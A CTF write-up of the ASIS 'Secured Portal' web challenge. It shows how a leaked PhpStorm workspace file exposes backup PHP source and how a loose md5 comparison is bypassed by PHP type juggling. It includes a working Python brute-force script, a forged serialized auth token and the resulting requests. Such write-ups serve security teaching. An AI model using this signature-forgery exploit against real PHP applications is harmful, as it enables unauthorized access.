The Asis CTF was taking place this weekend and, although I only looked at two challenges, I really found them interesting and well crafted, especially the second level. The challenges I am talking about are the web Secured Portal and 2nd Secured Portal.
In this write-up, I am covering the first level: Secured Portal.
Intelligence gathering
The homepage of the challenge only shows a static image and nothing more. Looking at the
source code, we can start gathering some intelligence that we could leverage later on. For instance, there is a
functions.js
file with some infos:
/** * Created by root on 3/24/17. * coded via PhpStorm :) */ /* . . . */ $(document).ready(function() { $("#login").click(function(event){ event.preventDefault(); var username = $("#inputUsername").val(); var password = $("#inputPassword").val(); var loginString = btoa(username + ':' + password); $.get('/authentication/login/' + loginString, function(data){ var loginString = readCookie('loginString'); if(typeof loginString == 'undefined'){ $("#showResult").remove(); $("#result").append('<div id="showResult"></div>'); $("#showResult").addClass('alert').addClass('alert-danger').html('Invalid credentials have been given.'); }else{ $("#showResult").remove(); $("#result").append('<div id="showResult"></div>'); $("#showResult").addClass('alert').addClass('alert-success').html('Login success, please wait until you are being redirected to the panel'); setTimeout(function(){ window.location = '/panel/index?auth=' + decodeURI(loginString); }, 3000); } }); }); })
We get a few URLs (/authentication/login/<loginString>
and /panel/index?auth=<loginString>
). The first
loginString
seems to be the username and password of the user encoded in base64 (like HTTP Basic authentication). The
second loginString
seems to be a session-like object to send along when accessing the portal pages. We can't really
make anything out of these URLs without more information, like a set of credentials or the source code maybe.
Another clue is the comment at the beginning of the file: coded via PhpStorm. As mentioned in the description of
the challenge, the author of the web portal used his IDE on the server, most likely leaving temporary and configuration
files behind (like .swp
or ~
files for instance).
After installing PhpStorm in a VM and creating a dummy project, we can see that configuration files like
workspace.xml
are created in the .idea
directory. Let's try that:
GET /.idea/workspace.xml HTTP/1.1 Host: 46.101.96.182
Which returns:
HTTP/1.1 200 OK Date: Sun, 09 Apr 2017 09:37:49 GMT Server: Apache Last-Modified: Fri, 31 Mar 2017 13:15:51 GMT ETag: "2399-54c069bd2a608" Accept-Ranges: bytes Content-Length: 9113 Vary: Accept-Encoding Connection: close Content-Type: application/xml <?xml version="1.0" encoding="UTF-8"?> <project version="4"> <component name="ChangeListManager"> <list default="true" id="73c75255-7496-4e8f-99a9-50d46081b1df" name="Default" comment="" /> <ignored path="public_html.iws" /> <ignored path=".idea/workspace.xml" /> [ . . . ] <component name="IdeDocumentHistory"> <option name="changedFiles"> <list> <option value="$PROJECT_DIR$/backup/panel.class.php.bk" /> </list> </option> </component> [ . . . ]
We can now access some backup file (/backup/panel.class.php.bk
), which contains exactly what we needed:
<?php /** * panel Class * * @category controller * @author ????? */ class panel extends main { /* . . . */ /** * checking authentication string * * @param string object */ function __construct($db){ $this->__db = $db; $sessionString = null; /** * gathering authentication string by auth parameter in HTTP request */ if(array_key_exists('auth', $_GET)) $sessionString = $_GET['auth']; if(strlen($sessionString) > 32){ $signature = substr($sessionString, -32); $payload = base64_decode(substr($sessionString, 0, -32)); /** * real signature calculation based on the key */ $realSign = md5($payload.$this->__sessionKey); /** * making it impossible to login, if the site is under maintenance, */ if(__MAINTENANCE__===true) $realSign = substr($realSign, 0, 6); /** * checking signature, prevent to data forgery by user */ if($realSign == $signature){ $this->data = unserialize($payload); if(is_array($this->data)){ /** * checking login status */ if($this->data['logged']===true){ $this->__auth = true; } } } } } /* . . . */ /** * send http request to contact server, after the validity of message format is checked, we will look at messages in paper print */ function flag(){ if(!$this->__auth){ echo 'login required'; return false; } /* * WOW, SEEMS THE FLAG IS HERE :) */ require 'includes/flag.php'; } /* . . . */
I only pasted the snippet handling the authentication for now. In short, the loginString
is a base64 encoded
serialized PHP array appended with a 32 bytes md5 hash. As indicated in the comments, the author will only uses the
first 6 character of the md5 hash to compare it with the real one, which should make the next comparison impossible and
prevent people from connecting (if PHP didn't suck).
If we pass the signature check though, then our base64 encoded data is unserialized. If the unserialized object
contains logged
set to true
, we are successfully authenticated.
PHP type juggling
The issue here is a PHP type juggling vulnerability, where the hashes are compared
using ==
instead of ===
, meaning that PHP will do some stupid things (like casting the variables for you). For
instance:
<?php 0 === "0" // -> false 0 == "0" // -> true
In our case, if we can manage to have $realSign
matching 0+[eE]\d{4}.*
(e.g. 0e1234abcd...) on the left side and
$signature
set to 00000000000000000000000000000000
on the right side, then PHP will try to cast the $realSign
to
a number using the scientific notation (which results in 0), which is equal to the 000...
hash we provided.
So to sum up, to bypass the authentication, we need to:
- Provide a base64 encoded serialized PHP object that, when concatenated with the secret key, has a md5 hash matching
0+[eE]\d{4}.*
- Provide a md5 hash composed of 0 or matching
0+[eE]\d{4}.*
- The serialized PHP object must be an array containing
logged
set totrue
The following python script does all of that. It uses a very stupid approach to brute-force the md5 hash. Basically,
our PHP object will contain an extra dummy parameter, called foo
, that will be padded using characters from the ASCII
table.
import sys import base64 import string import requests URL = 'http://46.101.96.182/panel/index' SIG = '00000000000000000000000000000000' template = 'a:2:{s:6:"logged";b:1;s:3:"foo";s:%d:"%s";}' for c in string.letters + string.digits: for i in range(0, 500): OBJ = template % (i, c * i) r = requests.get(URL, params={'auth': base64.b64encode(OBJ) + SIG}) if not 'login required' in r.text: print('found collision') print(OBJ) print(base64.b64encode(OBJ)) sys.exit(0)
The script yields the following payload:
found collision a:2:{s:6:"logged";b:1;s:3:"foo";s:23:"ccccccccccccccccccccccc";} YToyOntzOjY6ImxvZ2dlZCI7YjoxO3M6MzoiZm9vIjtzOjIzOiJjY2NjY2NjY2NjY2NjY2NjY2NjY2NjYyI7fQ==
Let's try it:
GET /panel/flag?auth=YToyOntzOjY6ImxvZ2dlZCI7YjoxO3M6MzoiZm9vIjtzOjIzOiJjY2NjY2NjY2NjY2NjY2NjY2NjY2NjYyI7fQ==00000000000000000000000000000000 HTTP/1.1 Host: 46.101.96.182
Which returns the flag:
HTTP/1.1 200 OK Date: Sun, 09 Apr 2017 10:13:10 GMT Server: Apache Vary: Accept-Encoding Content-Length: 952 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> [ . . . ] <div class="container"> <b>flag:</b> ASIS{An0th3R_Tiny_Obj3c7_Inject1oN_L0L!!!}</div> <div class="modal"></div> [ . . . ] </html>
First level validated! It was pretty straight forward but wait for the next one ;)
Onto the next level!
In the backup file we downloaded, there is another function that allows us to download the source code of the secured portal.
<?php /** * panel Class * * @category controller * @author ????? */ class panel extends main { /* . . . */ /** * downloading source code via last changes */ function downloadSource(){ if(!$this->__auth){ echo 'login required'; return false; } $file = '../source.zip'; if (file_exists($file)){ header('Content-Description: File Transfer'); header('Content-Type: application/x-gzip'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } /* . . . */
So the source can be downloaded
here.
Let's now move on to the next level and exploit that insecure unserialize
call, shall we?